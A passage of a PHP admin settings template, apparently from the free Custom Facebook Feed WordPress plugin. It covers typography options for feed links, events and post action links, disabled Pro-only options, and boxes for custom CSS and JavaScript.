if($cff_link_url_size == "11") echo 'selected="selected"' ?> >11px</option> <option value="12" <?php if($cff_link_url_size == "12") echo 'selected="selected"' ?> >12px</option> <option value="13" <?php if($cff_link_url_size == "13") echo 'selected="selected"' ?> >13px</option> <option value="14" <?php if($cff_link_url_size == "14") echo 'selected="selected"' ?> >14px</option> <option value="16" <?php if($cff_link_url_size == "16") echo 'selected="selected"' ?> >16px</option> <option value="18" <?php if($cff_link_url_size == "18") echo 'selected="selected"' ?> >18px</option> <option value="20" <?php if($cff_link_url_size == "20") echo 'selected="selected"' ?> >20px</option> <option value="24" <?php if($cff_link_url_size == "24") echo 'selected="selected"' ?> >24px</option> <option value="28" <?php if($cff_link_url_size == "28") echo 'selected="selected"' ?> >28px</option> <option value="32" <?php if($cff_link_url_size == "32") echo 'selected="selected"' ?> >32px</option> <option value="36" <?php if($cff_link_url_size == "36") echo 'selected="selected"' ?> >36px</option> <option value="42" <?php if($cff_link_url_size == "42") echo 'selected="selected"' ?> >42px</option> <option value="48" <?php if($cff_link_url_size == "48") echo 'selected="selected"' ?> >48px</option> <option value="54" <?php if($cff_link_url_size == "54") echo 'selected="selected"' ?> >54px</option> <option value="60" <?php if($cff_link_url_size == "60") echo 'selected="selected"' ?> >60px</option> </select> </td> </tr> <tr> <th class="bump-left"><label for="cff_link_url_color" class="bump-left"><?php _e('Link URL Color'); ?></label><code class="cff_shortcode"> linkurlcolor Eg: linkurlcolor='999999'</code></th> <td> <input name="cff_link_url_color" value="#<?php esc_attr_e( str_replace('#', '', $cff_link_url_color) ); ?>" class="cff-colorpicker" /> </td> </tr> <tr class="cff-settings-row-header"><th>Link Description</th></tr> <tr> <th class="bump-left"><label for="cff_link_desc_size" class="bump-left"><?php _e('Link Description Size'); ?></label><code class="cff_shortcode"> linkdescsize Eg: linkdescsize='14'</code></th> <td> <select name="cff_link_desc_size" class="cff-text-size-setting"> <option value="inherit" <?php if($cff_link_desc_size == "inherit") echo 'selected="selected"' ?> >Inherit from theme</option> <option value="10" <?php if($cff_link_desc_size == "10") echo 'selected="selected"' ?> >10px</option> <option value="11" <?php if($cff_link_desc_size == "11") echo 'selected="selected"' ?> >11px</option> <option value="12" <?php if($cff_link_desc_size == "12") echo 'selected="selected"' ?> >12px</option> <option value="13" <?php if($cff_link_desc_size == "13") echo 'selected="selected"' ?> >13px</option> <option value="14" <?php if($cff_link_desc_size == "14") echo 'selected="selected"' ?> >14px</option> <option value="16" <?php if($cff_link_desc_size == "16") echo 'selected="selected"' ?> >16px</option> <option value="18" <?php if($cff_link_desc_size == "18") echo 'selected="selected"' ?> >18px</option> <option value="20" <?php if($cff_link_desc_size == "20") echo 'selected="selected"' ?> >20px</option> <option value="24" <?php if($cff_link_desc_size == "24") echo 'selected="selected"' ?> >24px</option> <option value="28" <?php if($cff_link_desc_size == "28") echo 'selected="selected"' ?> >28px</option> <option value="32" <?php if($cff_link_desc_size == "32") echo 'selected="selected"' ?> >32px</option> <option value="36" <?php if($cff_link_desc_size == "36") echo 'selected="selected"' ?> >36px</option> <option value="42" <?php if($cff_link_desc_size == "42") echo 'selected="selected"' ?> >42px</option> <option value="48" <?php if($cff_link_desc_size == "48") echo 'selected="selected"' ?> >48px</option> <option value="54" <?php if($cff_link_desc_size == "54") echo 'selected="selected"' ?> >54px</option> <option value="60" <?php if($cff_link_desc_size == "60") echo 'selected="selected"' ?> >60px</option> </select> </td> </tr> <tr> <th class="bump-left"><label for="cff_link_desc_color" class="bump-left"><?php _e('Link Description Color'); ?></label><code class="cff_shortcode"> linkdesccolor Eg: linkdesccolor='ff0000'</code></th> <td> <input name="cff_link_desc_color" value="#<?php esc_attr_e( str_replace('#', '', $cff_link_desc_color) ); ?>" class="cff-colorpicker" /> </td> </tr> <tr valign="top"> <th class="bump-left" scope="row"><label class="bump-left"><?php _e('Maximum Link Description Length'); ?></label><code class="cff_shortcode"> desclength Eg: desclength=150</code></th> <td> <input name="cff_body_length" type="text" value="<?php esc_attr_e( $cff_body_length_val ); ?>" size="4" /><span class="cff-pixel-label"><?php _e('Characters'); ?></span> <i style="color: #666; font-size: 11px; margin-left: 5px;"><?php _e('Eg. 200'); ?></i> <a class="cff-tooltip-link" href="JavaScript:void(0);"><i class="fa fa-question-circle" aria-hidden="true"></i></a> <p class="cff-tooltip cff-more-info"><?php _e("If the link description text exceeds this length then it will be truncated with an ellipsis. Leave empty to set no maximum length."); ?></p> </td> </tr> <tr id="eventtitle"><!-- Quick link --></tr> </tbody> </table> <div style="margin-top: -15px;"> <?php submit_button(); ?> </div> <hr /> <h3><?php _e('Event Title'); ?></h3> <table class="form-table"> <tbody> <tr> <th class="bump-left"><label for="cff_event_title_format" class="bump-left"><?php _e('Format'); ?></label><code class="cff_shortcode"> eventtitleformat Eg: eventtitleformat=h5</code></th> <td> <select name="cff_event_title_format" class="cff-text-size-setting"> <option value="p" <?php if($cff_event_title_format == "p") echo 'selected="selected"' ?> >Paragraph</option> <option value="h3" <?php if($cff_event_title_format == "h3") echo 'selected="selected"' ?> >Heading 3</option> <option value="h4" <?php if($cff_event_title_format == "h4") echo 'selected="selected"' ?> >Heading 4</option> <option value="h5" <?php if($cff_event_title_format == "h5") echo 'selected="selected"' ?> >Heading 5</option> <option value="h6" <?php if($cff_event_title_format == "h6") echo 'selected="selected"' ?> >Heading 6</option> </select> </td> </tr> <tr> <th class="bump-left"><label for="cff_event_title_size" class="bump-left"><?php _e('Text Size'); ?></label><code class="cff_shortcode"> eventtitlesize Eg: eventtitlesize=12</code></th> <td> <select name="cff_event_title_size" class="cff-text-size-setting"> <option value="inherit" <?php if($cff_event_title_size == "inherit") echo 'selected="selected"' ?> >Inherit from theme</option> <option value="10" <?php if($cff_event_title_size == "10") echo 'selected="selected"' ?> >10px</option> <option value="11" <?php if($cff_event_title_size == "11") echo 'selected="selected"' ?> >11px</option> <option value="12" <?php if($cff_event_title_size == "12") echo 'selected="selected"' ?> >12px</option> <option value="13" <?php if($cff_event_title_size == "13") echo 'selected="selected"' ?> >13px</option> <option value="14" <?php if($cff_event_title_size == "14") echo 'selected="selected"' ?> >14px</option> <option value="16" <?php if($cff_event_title_size == "16") echo 'selected="selected"' ?> >16px</option> <option value="18" <?php if($cff_event_title_size == "18") echo 'selected="selected"' ?> >18px</option> <option value="20" <?php if($cff_event_title_size == "20") echo 'selected="selected"' ?> >20px</option> <option value="24" <?php if($cff_event_title_size == "24") echo 'selected="selected"' ?> >24px</option> <option value="28" <?php if($cff_event_title_size == "28") echo 'selected="selected"' ?> >28px</option> <option value="32" <?php if($cff_event_title_size == "32") echo 'selected="selected"' ?> >32px</option> <option value="36" <?php if($cff_event_title_size == "36") echo 'selected="selected"' ?> >36px</option> <option value="42" <?php if($cff_event_title_size == "42") echo 'selected="selected"' ?> >42px</option> <option value="48" <?php if($cff_event_title_size == "48") echo 'selected="selected"' ?> >48px</option> <option value="54" <?php if($cff_event_title_size == "54") echo 'selected="selected"' ?> >54px</option> <option value="60" <?php if($cff_event_title_size == "60") echo 'selected="selected"' ?> >60px</option> </select> </td> </tr> <tr> <th class="bump-left"><label for="cff_event_title_weight" class="bump-left"><?php _e('Text Weight'); ?></label><code class="cff_shortcode"> eventtitleweight Eg: eventtitleweight=bold</code></th> <td> <select name="cff_event_title_weight" class="cff-text-size-setting"> <option value="inherit" <?php if($cff_event_title_weight == "inherit") echo 'selected="selected"' ?> >Inherit from theme</option> <option value="normal" <?php if($cff_event_title_weight == "normal") echo 'selected="selected"' ?> >Normal</option> <option value="bold" <?php if($cff_event_title_weight == "bold") echo 'selected="selected"' ?> >Bold</option> </select> </td> </tr> <tr> <th class="bump-left"><label for="cff_event_title_color" class="bump-left"><?php _e('Text Color'); ?></label><code class="cff_shortcode"> eventtitlecolor Eg: eventtitlecolor=666</code></th> <td> <input name="cff_event_title_color" value="#<?php esc_attr_e( str_replace('#', '', $cff_event_title_color) ); ?>" class="cff-colorpicker" /> </td> </tr> <tr> <th class="bump-left"><label for="cff_event_title_link" class="bump-left"><?php _e('Link Title to Event on Facebook'); ?></label><code class="cff_shortcode"> eventtitlelink Eg: eventtitlelink=true</code></th> <td><input type="checkbox" name="cff_event_title_link" id="cff_event_title_link" <?php if($cff_event_title_link == true) echo 'checked="checked"' ?> /></td> </tr> <tr id="eventdate"><!-- Quick link --></tr> </tbody> </table> <hr /> <h3><?php _e('Event Date'); ?></h3> <table class="form-table"> <tbody> <tr> <th class="bump-left"><label for="cff_event_date_size" class="bump-left"><?php _e('Text Size'); ?></label><code class="cff_shortcode"> eventdatesize Eg: eventdatesize=18</code></th> <td> <select name="cff_event_date_size" class="cff-text-size-setting"> <option value="inherit" <?php if($cff_event_date_size == "inherit") echo 'selected="selected"' ?> >Inherit from theme</option> <option value="10" <?php if($cff_event_date_size == "10") echo 'selected="selected"' ?> >10px</option> <option value="11" <?php if($cff_event_date_size == "11") echo 'selected="selected"' ?> >11px</option> <option value="12" <?php if($cff_event_date_size == "12") echo 'selected="selected"' ?> >12px</option> <option value="13" <?php if($cff_event_date_size == "13") echo 'selected="selected"' ?> >13px</option> <option value="14" <?php if($cff_event_date_size == "14") echo 'selected="selected"' ?> >14px</option> <option value="16" <?php if($cff_event_date_size == "16") echo 'selected="selected"' ?> >16px</option> <option value="18" <?php if($cff_event_date_size == "18") echo 'selected="selected"' ?> >18px</option> <option value="20" <?php if($cff_event_date_size == "20") echo 'selected="selected"' ?> >20px</option> <option value="24" <?php if($cff_event_date_size == "24") echo 'selected="selected"' ?> >24px</option> <option value="28" <?php if($cff_event_date_size == "28") echo 'selected="selected"' ?> >28px</option> <option value="32" <?php if($cff_event_date_size == "32") echo 'selected="selected"' ?> >32px</option> <option value="36" <?php if($cff_event_date_size == "36") echo 'selected="selected"' ?> >36px</option> <option value="42" <?php if($cff_event_date_size == "42") echo 'selected="selected"' ?> >42px</option> <option value="48" <?php if($cff_event_date_size == "48") echo 'selected="selected"' ?> >48px</option> <option value="54" <?php if($cff_event_date_size == "54") echo 'selected="selected"' ?> >54px</option> <option value="60" <?php if($cff_event_date_size == "60") echo 'selected="selected"' ?> >60px</option> </select> </td> </tr> <tr> <th class="bump-left"><label for="cff_event_date_weight" class="bump-left"><?php _e('Text Weight'); ?></label><code class="cff_shortcode"> eventdateweight Eg: eventdateweight=bold</code></th> <td> <select name="cff_event_date_weight" class="cff-text-size-setting"> <option value="inherit" <?php if($cff_event_date_weight == "inherit") echo 'selected="selected"' ?> >Inherit from theme</option> <option value="normal" <?php if($cff_event_date_weight == "normal") echo 'selected="selected"' ?> >Normal</option> <option value="bold" <?php if($cff_event_date_weight == "bold") echo 'selected="selected"' ?> >Bold</option> </select> </td> </tr> <tr> <th class="bump-left"><label for="cff_event_date_color" class="bump-left"><?php _e('Text Color'); ?></label><code class="cff_shortcode"> eventdatecolor Eg: eventdatecolor=EB6A00</code></th> <td> <input name="cff_event_date_color" value="#<?php esc_attr_e( str_replace('#', '', $cff_event_date_color) ); ?>" class="cff-colorpicker" /> </td> </tr> <tr valign="top"> <th class="bump-left" scope="row"><label class="bump-left"><?php _e('Date Position'); ?></label><code class="cff_shortcode"> eventdatepos Eg: eventdatepos=below</code></th> <td> <select name="cff_event_date_position"> <option value="below" <?php if($cff_event_date_position == "below") echo 'selected="selected"' ?> ><?php _e('Below event title'); ?></option> <option value="above" <?php if($cff_event_date_position == "above") echo 'selected="selected"' ?> ><?php _e('Above event title'); ?></option> </select> </td> </tr> <tr> <th class="bump-left"><label for="cff_event_date_formatting" class="bump-left"><?php _e('Event Date Formatting'); ?></label><code class="cff_shortcode"> eventdateformat Eg: eventdateformat=12</code></th> <td> <select name="cff_event_date_formatting" style="width: 280px;"> <?php $original = strtotime('2016-07-25T17:30:00+0000'); ?> <option value="14" <?php if($cff_event_date_formatting == "14") echo 'selected="selected"' ?> ><?php echo date('M j, g:ia', $original); ?></option> <option value="15" <?php if($cff_event_date_formatting == "15") echo 'selected="selected"' ?> ><?php echo date('M j, G:i', $original); ?></option> <option value="1" <?php if($cff_event_date_formatting == "1") echo 'selected="selected"' ?> ><?php echo date('F j, Y, g:ia', $original); ?></option> <option value="2" <?php if($cff_event_date_formatting == "2") echo 'selected="selected"' ?> ><?php echo date('F jS, g:ia', $original); ?></option> <option value="3" <?php if($cff_event_date_formatting == "3") echo 'selected="selected"' ?> ><?php echo date('g:ia - F jS', $original); ?></option> <option value="4" <?php if($cff_event_date_formatting == "4") echo 'selected="selected"' ?> ><?php echo date('g:ia, F jS', $original); ?></option> <option value="5" <?php if($cff_event_date_formatting == "5") echo 'selected="selected"' ?> ><?php echo date('l F jS - g:ia', $original); ?></option> <option value="6" <?php if($cff_event_date_formatting == "6") echo 'selected="selected"' ?> ><?php echo date('D M jS, Y, g:iA', $original); ?></option> <option value="7" <?php if($cff_event_date_formatting == "7") echo 'selected="selected"' ?> ><?php echo date('l F jS, Y, g:iA', $original); ?></option> <option value="8" <?php if($cff_event_date_formatting == "8") echo 'selected="selected"' ?> ><?php echo date('l F jS, Y - g:ia', $original); ?></option> <option value="9" <?php if($cff_event_date_formatting == "9") echo 'selected="selected"' ?> ><?php echo date("l M jS, 'y", $original); ?></option> <option value="10" <?php if($cff_event_date_formatting == "10") echo 'selected="selected"' ?> ><?php echo date('m.d.y - g:iA', $original); ?></option> <option value="20" <?php if($cff_event_date_formatting == "20") echo 'selected="selected"' ?> ><?php echo date('m.d.y - G:i', $original); ?></option> <option value="11" <?php if($cff_event_date_formatting == "11") echo 'selected="selected"' ?> ><?php echo date('m/d/y, g:ia', $original); ?></option> <option value="12" <?php if($cff_event_date_formatting == "12") echo 'selected="selected"' ?> ><?php echo date('d.m.y - g:iA', $original); ?></option> <option value="21" <?php if($cff_event_date_formatting == "21") echo 'selected="selected"' ?> ><?php echo date('d.m.y - G:i', $original); ?></option> <option value="13" <?php if($cff_event_date_formatting == "13") echo 'selected="selected"' ?> ><?php echo date('d/m/y, g:ia', $original); ?></option> <option value="16" <?php if($cff_event_date_formatting == "16") echo 'selected="selected"' ?> ><?php echo date('d-m-Y, G:i', $original); ?></option> <option value="17" <?php if($cff_event_date_formatting == "17") echo 'selected="selected"' ?> ><?php echo date('jS F Y, G:i', $original); ?></option> <option value="18" <?php if($cff_event_date_formatting == "18") echo 'selected="selected"' ?> ><?php echo date('d M Y, G:i', $original); ?></option> <option value="19" <?php if($cff_event_date_formatting == "19") echo 'selected="selected"' ?> ><?php echo date('l jS F Y, G:i', $original); ?></option> </select> </td> </tr> <tr> <th class="bump-left"><label for="cff_event_date_custom" class="bump-left"><?php _e('Custom Event Date Format'); ?></label><code class="cff_shortcode"> eventdatecustom Eg: eventdatecustom='D M jS, Y'</code></th> <td> <input name="cff_event_date_custom" type="text" value="<?php _e($cff_event_date_custom); ?>" size="10" placeholder="Eg. F j, Y - g:ia" /> <a href="http://smashballoon.com/custom-facebook-feed/docs/date/" class="cff-external-link" target="_blank"><?php _e('Examples'); ?></a> </td> </tr> <tr id="eventdetails"><!-- Quick link --></tr> </tbody> </table> <hr /> <h3><?php _e('Event Details'); ?></h3> <table class="form-table"> <tbody> <tr> <th class="bump-left"><label for="cff_event_details_size" class="bump-left"><?php _e('Text Size'); ?></label><code class="cff_shortcode"> eventdetailssize Eg: eventdetailssize=13</code></th> <td> <select name="cff_event_details_size" class="cff-text-size-setting"> <option value="inherit" <?php if($cff_event_details_size == "inherit") echo 'selected="selected"' ?> >Inherit from theme</option> <option value="10" <?php if($cff_event_details_size == "10") echo 'selected="selected"' ?> >10px</option> <option value="11" <?php if($cff_event_details_size == "11") echo 'selected="selected"' ?> >11px</option> <option value="12" <?php if($cff_event_details_size == "12") echo 'selected="selected"' ?> >12px</option> <option value="13" <?php if($cff_event_details_size == "13") echo 'selected="selected"' ?> >13px</option> <option value="14" <?php if($cff_event_details_size == "14") echo 'selected="selected"' ?> >14px</option> <option value="16" <?php if($cff_event_details_size == "16") echo 'selected="selected"' ?> >16px</option> <option value="18" <?php if($cff_event_details_size == "18") echo 'selected="selected"' ?> >18px</option> <option value="20" <?php if($cff_event_details_size == "20") echo 'selected="selected"' ?> >20px</option> <option value="24" <?php if($cff_event_details_size == "24") echo 'selected="selected"' ?> >24px</option> <option value="28" <?php if($cff_event_details_size == "28") echo 'selected="selected"' ?> >28px</option> <option value="32" <?php if($cff_event_details_size == "32") echo 'selected="selected"' ?> >32px</option> <option value="36" <?php if($cff_event_details_size == "36") echo 'selected="selected"' ?> >36px</option> <option value="42" <?php if($cff_event_details_size == "42") echo 'selected="selected"' ?> >42px</option> <option value="48" <?php if($cff_event_details_size == "48") echo 'selected="selected"' ?> >48px</option> <option value="54" <?php if($cff_event_details_size == "54") echo 'selected="selected"' ?> >54px</option> <option value="60" <?php if($cff_event_details_size == "60") echo 'selected="selected"' ?> >60px</option> </select> </td> </tr> <tr> <th class="bump-left"><label for="cff_event_details_weight" class="bump-left"><?php _e('Text Weight'); ?></label><code class="cff_shortcode"> eventdetailsweight Eg: eventdetailsweight=bold</code></th> <td> <select name="cff_event_details_weight" class="cff-text-size-setting"> <option value="inherit" <?php if($cff_event_details_weight == "inherit") echo 'selected="selected"' ?> >Inherit from theme</option> <option value="normal" <?php if($cff_event_details_weight == "normal") echo 'selected="selected"' ?> >Normal</option> <option value="bold" <?php if($cff_event_details_weight == "bold") echo 'selected="selected"' ?> >Bold</option> </select> </td> </tr> <tr> <th class="bump-left"><label for="cff_event_details_color" class="bump-left"><?php _e('Text Color'); ?></label><code class="cff_shortcode"> eventdetailscolor Eg: eventdetailscolor=FFF000</code></th> <td> <input name="cff_event_details_color" value="#<?php esc_attr_e( str_replace('#', '', $cff_event_details_color) ); ?>" class="cff-colorpicker" /> </td> </tr> <tr> <th class="bump-left"><label for="cff_event_link_color" class="bump-left"><?php _e('Link Color'); ?></label><code class="cff_shortcode"> eventlinkcolor Eg: eventlinkcolor=333</code></th> <td> <input name="cff_event_link_color" value="#<?php esc_attr_e( str_replace('#', '', $cff_event_link_color) ); ?>" class="cff-colorpicker" /> </td> </tr> <tr id="comments"><!-- Quick link --></tr> </tbody> </table> <?php submit_button(); ?> <hr /> <h3><?php _e('Post Action Links'); ?></span> <a class="cff-tooltip-link" href="JavaScript:void(0);"><?php _e('What is this?'); ?></a> <p class="cff-tooltip cff-more-info"><?php _e('Post action links refer to the "View on Facebook" and "Share" links at the bottom of each post'); ?></p></h3> <table class="form-table"> <tbody> <tr> <th class="bump-left"><label for="cff_link_size" class="bump-left"><?php _e('Text Size'); ?></label><code class="cff_shortcode"> linksize Eg: linksize=13</code></th> <td> <select name="cff_link_size" class="cff-text-size-setting"> <option value="inherit" <?php if($cff_link_size == "inherit") echo 'selected="selected"' ?> >Inherit from theme</option> <option value="10" <?php if($cff_link_size == "10") echo 'selected="selected"' ?> >10px</option> <option value="11" <?php if($cff_link_size == "11") echo 'selected="selected"' ?> >11px</option> <option value="12" <?php if($cff_link_size == "12") echo 'selected="selected"' ?> >12px</option> <option value="13" <?php if($cff_link_size == "13") echo 'selected="selected"' ?> >13px</option> <option value="14" <?php if($cff_link_size == "14") echo 'selected="selected"' ?> >14px</option> <option value="16" <?php if($cff_link_size == "16") echo 'selected="selected"' ?> >16px</option> <option value="18" <?php if($cff_link_size == "18") echo 'selected="selected"' ?> >18px</option> <option value="20" <?php if($cff_link_size == "20") echo 'selected="selected"' ?> >20px</option> <option value="24" <?php if($cff_link_size == "24") echo 'selected="selected"' ?> >24px</option> <option value="28" <?php if($cff_link_size == "28") echo 'selected="selected"' ?> >28px</option> <option value="32" <?php if($cff_link_size == "32") echo 'selected="selected"' ?> >32px</option> <option value="36" <?php if($cff_link_size == "36") echo 'selected="selected"' ?> >36px</option> <option value="42" <?php if($cff_link_size == "42") echo 'selected="selected"' ?> >42px</option> <option value="48" <?php if($cff_link_size == "48") echo 'selected="selected"' ?> >48px</option> <option value="54" <?php if($cff_link_size == "54") echo 'selected="selected"' ?> >54px</option> <option value="60" <?php if($cff_link_size == "60") echo 'selected="selected"' ?> >60px</option> </select> </td> </tr> <tr> <th class="bump-left"><label for="cff_link_weight" class="bump-left"><?php _e('Text Weight'); ?></label><code class="cff_shortcode"> linkweight Eg: linkweight=bold</code></th> <td> <select name="cff_link_weight" class="cff-text-size-setting"> <option value="inherit" <?php if($cff_link_weight == "inherit") echo 'selected="selected"' ?> >Inherit from theme</option> <option value="normal" <?php if($cff_link_weight == "normal") echo 'selected="selected"' ?> >Normal</option> <option value="bold" <?php if($cff_link_weight == "bold") echo 'selected="selected"' ?> >Bold</option> </select> </td> </tr> <tr> <th class="bump-left"><label for="cff_link_color" class="bump-left"><?php _e('Text Color'); ?></label><code class="cff_shortcode"> linkcolor Eg: linkcolor=E01B5D</code></th> <td> <input name="cff_link_color" value="#<?php esc_attr_e( str_replace('#', '', $cff_link_color) ); ?>" class="cff-colorpicker" /> </td> </tr> <tr> <th class="bump-left"><label for="cff_facebook_link_text" class="bump-left"><?php _e('"View on Facebook" Text'); ?></label><code class="cff_shortcode"> facebooklinktext Eg: facebooklinktext='Read more...'</code></th> <td> <input name="cff_facebook_link_text" type="text" value="<?php echo stripslashes( esc_attr( $cff_facebook_link_text ) ); ?>" size="25" /> </td> </tr> <tr> <th class="bump-left"><label for="cff_facebook_share_text" class="bump-left"><?php _e('"Share" Text'); ?></label><code class="cff_shortcode"> sharelinktext Eg: sharelinktext='Share this post'</code></th> <td> <input name="cff_facebook_share_text" type="text" value="<?php echo stripslashes( esc_attr( $cff_facebook_share_text ) ); ?>" size="25" /> </td> </tr> <tr> <th class="bump-left"><label for="cff_show_facebook_link" class="bump-left"><?php _e('Show "View on Facebook" link'); ?></label><code class="cff_shortcode"> showfacebooklink Eg: showfacebooklink=true</code></th> <td> <input type="checkbox" name="cff_show_facebook_link" id="cff_show_facebook_link" <?php if($cff_show_facebook_link == true) echo 'checked="checked"' ?> /> </td> </tr> <tr> <th class="bump-left"><label for="cff_show_facebook_share" class="bump-left"><?php _e('Show "Share" link'); ?></label><code class="cff_shortcode"> showsharelink Eg: showsharelink=true</code></th> <td> <input type="checkbox" name="cff_show_facebook_share" id="cff_show_facebook_share" <?php if($cff_show_facebook_share == true) echo 'checked="checked"' ?> /> </td> </tr> <tr id="loadmore"><!-- Quick link --></tr> </tbody> </table> <hr /> <h3><?php _e('Likes, Shares and Comments Box'); ?></h3> <a href="https://smashballoon.com/custom-facebook-feed/?utm_campaign=facebook-free&utm_source=settings&utm_medium=likesharescom" target="_blank">Upgrade to Pro to enable likes, shares and comments</a> <p class="submit cff-expand-button"> <a href="javascript:void(0);" class="button"><b>+</b> Show Pro Options</a> </p> <table class="form-table cff-expandable-options"> <tbody> <tr valign="top" class="cff-pro"> <th class="bump-left" scope="row"><label><?php _e('Icon Style'); ?></label><code class="cff_shortcode"> iconstyle Eg: iconstyle=dark</code></th> <td> <select name="cff_icon_style" style="width: 250px;" disabled> <option value="light"><?php _e('Light (for light backgrounds)'); ?></option> <option value="dark"><?php _e('Dark (for dark backgrounds)'); ?></option> </select> </td> </tr> <tr valign="top" class="cff-pro"> <th class="bump-left" scope="row"><label><?php _e('Text Color'); ?></label><code class="cff_shortcode"> socialtextcolor Eg: socialtextcolor=FFF</code></th> <td> <input name="cff_meta_text_color" class="cff-colorpicker" /> </td> </tr> <tr valign="top" class="cff-pro"> <th class="bump-left" scope="row"><label><?php _e('Link Color'); ?></label><code class="cff_shortcode"> sociallinkcolor Eg: sociallinkcolor=FFF</code></th> <td> <input name="cff_meta_link_color" class="cff-colorpicker" /> </td> </tr> <tr valign="top" class="cff-pro"> <th class="bump-left" scope="row"><label><?php _e('Background Color'); ?></label><code class="cff_shortcode"> socialbgcolor Eg: socialbgcolor=111</code></th> <td> <input name="cff_meta_bg_color" class="cff-colorpicker" /> </td> </tr> <tr valign="top" class="cff-pro"> <th class="bump-left" scope="row"><label><?php _e('Expand Comments Box Initially'); ?></label><code class="cff_shortcode"> expandcomments Eg: expandcomments=true</code></th> <td> <input type="checkbox" name="cff_expand_comments" id="cff_expand_comments" disabled /> <a class="cff-tooltip-link" href="JavaScript:void(0);"><i class="fa fa-question-circle" aria-hidden="true"></i></a> <p class="cff-tooltip cff-more-info"><?php _e('Checking this box will automatically expand the comments box beneath each post. Unchecking this box will mean that users will need to click the number of comments below each post in order to expand the comments box.'); ?></p> </td> </tr> <tr valign="top" class="cff-pro"> <th class="bump-left" for="cff_comments_num" scope="row"><label><?php _e('Number of Comments to Show Initially'); ?></label><code class="cff_shortcode"> commentsnum Eg: commentsnum=1</code></th> <td> <input name="cff_comments_num" type="text" size="2" disabled /> <span><i style="color: #666; font-size: 11px; margin-left: 5px;"><?php _e('25 max'); ?></i></span> <a class="cff-tooltip-link" href="JavaScript:void(0);"><i class="fa fa-question-circle" aria-hidden="true"></i></a> <p class="cff-tooltip cff-more-info"><?php _e('The number of comments to show initially when the comments box is expanded.'); ?></p> </td> </tr> <tr valign="top" class="cff-pro"> <th class="bump-left" scope="row"><label><?php _e('Hide Comment Avatars'); ?></label><code class="cff_shortcode"> hidecommentimages Eg: hidecommentimages=true</code></th> <td> <input type="checkbox" name="cff_hide_comment_avatars" id="cff_hide_comment_avatars" disabled /> </td> </tr> <tr valign="top" class="cff-pro"> <th class="bump-left" scope="row"><label><?php _e('Show Comments in Lightbox'); ?></label></th> <td> <input type="checkbox" name="cff_lightbox_comments" id="cff_lightbox_comments" disabled /> <span><i style="color: #666; font-size: 11px; margin-left: 5px;"><?php _e('For timeline posts only'); ?> </td> </tr> <tr id="action"><!-- Quick link --></tr> </tbody> </table> <div style="margin-top: -15px;"> <?php submit_button(); ?> </div> <a href="https://smashballoon.com/custom-facebook-feed/demo/?utm_campaign=facebook-free&utm_source=footer&utm_medium=ad" target="_blank" class="cff-pro-notice"><img src="<?php echo plugins_url( 'img/pro.png' , __FILE__ ) ?>" /></a> <?php } //End Typography tab ?> <?php if( $cff_active_tab == 'misc' ) { //Start Misc tab ?> <p class="cff_contents_links" id="comments"> <span>Jump to: </span> <a href="#css">Custom CSS</a> <a href="#js">Custom JavaScript</a> <a href="#misc">Misc Settings</a> </p> <input type="hidden" name="<?php echo $style_misc_hidden_field_name; ?>" value="Y"> <br /> <span id="css"><!-- Quick link --></span> <hr /> <h3><?php _e('Custom CSS', 'custom-facebook-feed'); ?></h3> <table class="form-table"> <tbody> <tr valign="top"> <td style="padding-top: 0;"> <p style="padding-bottom: 10px;"><?php _e('Enter your own custom CSS in the box below', 'custom-facebook-feed'); ?> <i style="margin-left: 5px; font-size: 11px;"><a href="https://smashballoon.com/snippets/" target="_blank"><?php _e('See some examples', 'custom-facebook-feed'); ?></a></i></p> <textarea name="cff_custom_css" id="cff_custom_css" style="width: 70%;" rows="7"><?php echo esc_textarea( stripslashes($cff_custom_css), 'custom-facebook-feed' ); ?></textarea> </td> </tr> </tbody> </table> <h3 id="js"><?php _e('Custom JavaScript', 'custom-facebook-feed'); ?></h3><!-- Quick link --> <table class="form-table"> <tbody> <tr valign="top"> <td style="padding-top: 0;"> <p style="padding-bottom: 10px;"><?php _e('Enter your own custom JavaScript/jQuery in the box below', 'custom-facebook-feed'); ?> <i style="margin-left: 5px; font-size: 11px;"><a href="https://smashballoon.com/snippets/" target="_blank"><?php _e('See some examples', 'custom-facebook-feed'); ?></a></i></p> <textarea name="cff_custom_js" id="cff_custom_js" style="width: 70%;" rows="7"><?php echo esc_textarea( stripslashes($cff_custom_js), 'custom-facebook-feed' ); ?></textarea> </td> </tr> </tbody> </table> <?php submit_button(); ?> <hr /> <h3><?php _e('Media'); ?></h3> <a href="https://smashballoon.com/custom-facebook-feed/?utm_campaign=facebook-free&utm_source=settings&utm_medium=media" target="_blank">Upgrade to Pro to enable Media options</a> <p class="submit cff-expand-button"> <a href="javascript:void(0);" class="button"><b>+</b> Show Pro Options</a> </p> <table class="form-table cff-expandable-options"> <tbody> <tr valign="top" class="cff-pro"> <th class="bump-left" scope="row"><label><?php _e('Disable Popup Lightbox'); ?></label><code class="cff_shortcode"> disablelightbox Eg: disablelightbox=true</code></th> <td> <input name="cff_disable_lightbox" type="checkbox" id="cff_disable_lightbox" disabled /> <label for="cff_disable_lightbox"><?php _e('Disable'); ?></label> </td> </tr> <tr class="cff-pro"> <th class="bump-left"><label class="bump-left"><?php _e('Use full-size shared link images'); ?></label><code class="cff_shortcode"> fulllinkimages Eg: fulllinkimages=false</code></th> <td> <input type="checkbox" name="cff_full_link_images" id="cff_full_link_images" disabled /> <a class="cff-tooltip-link" href="JavaScript:void(0);"><i class="fa fa-question-circle" aria-hidden="true"></i></a> <p class="cff-tooltip cff-more-info"><?php _e("By default the shared link boxes in your posts use the same layout selected on the 'Post Layout' page, however, but you can disable this by unchecking this setting to force all shared links to use the smaller image thumbnails instead."); ?></p> </td> </tr> <tr valign="top" class="cff-pro"> <th class="bump-left" scope="row"><label><?php _e('Lightbox video player'); ?></label><code class="cff_shortcode"> videoplayer Eg: videoplayer=facebook</code></th> <td> <select name="cff_video_player" style="width: 280px;" disabled> <option value="facebook"><?php _e('Facebook Video Player'); ?></option> <option value="standard"><?php _e('Standard HTML5 Video'); ?></option> </select> </td> </tr> <tr valign="top" class="cff-pro"> <th class="bump-left" scope="row"><label><?php _e('Play video action'); ?></label><code class="cff_shortcode"> videoaction Eg: videoaction=facebook</code></th> <td> <select name="cff_video_action" style="width: 280px;" disabled> <option value="post"><?php _e('Play videos directly in the feed'); ?></option> <!-- Link to the video either on Facebook or whatever the source is: --> <option value="facebook"><?php _e('Link to the video on Facebook'); ?></option> </select> </td> </tr> </tbody> </table> <hr id="misc" /> <h3><?php _e('Misc Settings', 'custom-facebook-feed'); ?></h3> <table class="form-table"> <tbody> <tr> <th class="bump-left"><label class="bump-left"><?php _e('Is your theme 